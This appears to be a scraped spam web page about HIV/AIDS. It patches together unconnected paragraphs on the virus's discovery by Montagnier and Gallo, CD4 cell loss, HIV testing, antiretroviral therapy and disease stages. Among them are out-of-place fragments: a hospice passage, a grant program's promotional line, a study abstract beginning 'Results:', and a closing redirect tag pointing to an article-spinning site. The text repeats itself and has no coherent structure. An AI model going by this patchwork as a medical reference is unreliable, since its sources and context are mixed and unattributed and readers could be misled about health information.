AIDS is an infectious disorder that suppresses the normal function of the immune system. It is caused by the human immunodeficiency virus (HIV), which destroys the body’s ability to fight infections. Specific cells of the immune system that are responsible for the proper response to infections (T cells) are destroyed by this virus. Characteristically a person infected with HIV initially experiences no symptoms for a variable period of time. This may be followed by the development of persistent generalized swelling of lymph nodes (AIDS-related lymphadenopathy). Eventually most patients infected with HIV experience a syndrome of symptoms that includes excessive fatigue, weight loss, and/or skin rashes.

Near the end of life, many people have pain and other distressing symptoms (such as agitation) and usually lose their appetite. Hospice programs are particularly equipped to deal with such problems. They can provide comprehensive support and care, which focuses on managing symptoms, helping dying people maintain their independence, and supporting their caregivers.

By 1984 researchers working in Africa had provided clear evidence for heterosexual transmission of the causative agent, HIV. The virus had been isolated the year before by a team of French researchers led by virologist Luc Montagnier. Montagnier and his colleagues identified the virus as a new type of human retrovirus, and they suspected that it was the cause of AIDS. But more-detailed characterization was needed to confirm the connection, so Montagnier sent samples to American virologist Robert C. Gallo, who had contributed to the discovery of the first known human retrovirus (human T-lymphotropic virus) several years earlier. Gallo helped establish that HIV caused AIDS, and he contributed to the subsequent development of a blood test for its detection. Montagnier initially called the new infectious agent lymphadenopathy-associated virus (LAV), but in 1986 the International Committee on Taxonomy of Viruses renamed it HIV. Montagnier and French virologist Françoise Barré-Sinoussi were awarded the 2008 Nobel Prize for Physiology or Medicine for their discovery of HIV; despite Gallo’s role in confirming HIV as the cause of AIDS, Montagnier and colleagues were the first to isolate the virus.

HIV attacks and destroys the infection-fighting CD4 cells of the immune system. The loss of CD4 cells makes it difficult for the body to fight infections and certain cancers. Without treatment, HIV can gradually destroy the immune system and advance to AIDS.

While many parts of the country have seen a decrease in new HIV infections, the epidemic continues to grow in the Southern U.S. Learn more about the impact of HIV in the South, the progress of Southern REACH, and the work of our grantees.

Other important pathogens include cytomegalovirus, (which causes retinitis, pneumonitis, and colitis) and Pneumocystis jiroveci (formerly known as Pneumocystis carinii; the causative organism in Pneumocystis pneumonia). In immunocompetent hosts, these organisms are generally nonpathogenic, and asymptomatic infection is common (and in the case of cytomegalovirus infection, life-long).

Testing for HIV is a two-step process involving a screening test and a confirmatory test. The first step is usually a screening test that looks for antibodies against the HIV. Specimens for testing come from blood obtained from a vein or a finger stick, an oral swab, or a urine sample. Results can come back in minutes (rapid tests) or can take several days, depending on the method that is used. If the screening HIV test is positive, the results are confirmed by a special test called a Western blot or indirect immunofluorescence assay test. A Western blot detects antibodies to specific components of the virus. The confirmatory test is necessary because the screening test is less accurate and occasionally will be positive in those who do not have HIV.

Results: An estimated 15% of persons living with HIV in 2015 were unaware of their infection. Among the 39,720 persons with HIV infection diagnosed in 2015, the estimated median diagnosis delay was 3.0 years (interquartile range = 0.7–7.8 years); diagnosis delay varied by race/ethnicity (from 2.2 years among whites to 4.2 years among Asians) and transmission category (from 2.0 years among females who inject drugs to 4.9 years among heterosexual males). Among persons interviewed through National HIV Behavioral Surveillance, 71% of men who have sex with men, 58% of persons who inject drugs, and 41% of heterosexual persons at increased risk for HIV infection reported testing in the past 12 months. In each risk group, at least two thirds of persons who did not have an HIV test had seen a health care provider in the past year.

HIV stands for human immunodeficiency virus. It is the virus that can lead to acquired immunodeficiency syndrome or AIDS if not treated. Unlike some other viruses, the human body can’t get rid of HIV completely, even with treatment. So once you get HIV, you have it for life.

No effective cure currently exists, but with proper medical care, HIV can be controlled. The medicine used to treat HIV is called antiretroviral therapy or ART. If taken the right way, every day, this medicine can dramatically prolong the lives of many people infected with HIV, keep them healthy, and greatly lower their chance of infecting others. Before the introduction of ART in the mid-1990s, people with HIV could progress to AIDS in just a few years. Today, someone diagnosed with HIV and treated before the disease is far advanced can live nearly as long as someone who does not have HIV.

Definition (MSH) An acquired defect of cellular immunity associated with infection by the human immunodeficiency virus (HIV), a CD4-positive T-lymphocyte count under 200 cells/microliter or less than 14% of total lymphocytes, and increased susceptibility to opportunistic infections and malignant neoplasms. Clinical manifestations also include emaciation (wasting) and dementia. These elements reflect criteria for AIDS as defined by the CDC in 1993.

The course of HIV infection involves three stages: primary HIV infection, the asymptomatic phase, and AIDS. During the first stage the transmitted HIV replicates rapidly, and some persons may experience an acute flulike illness that usually persists for one to two weeks. During that time a variety of symptoms may occur, such as fever, enlarged lymph nodes, sore throat, muscle and joint pain, rash, and malaise. Standard HIV tests, which measure antibodies to the virus, are initially negative, because HIV antibodies generally do not reach detectable levels in the blood until a few weeks after the onset of the acute illness. As the immune response to the virus develops, the level of HIV in the blood decreases. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]
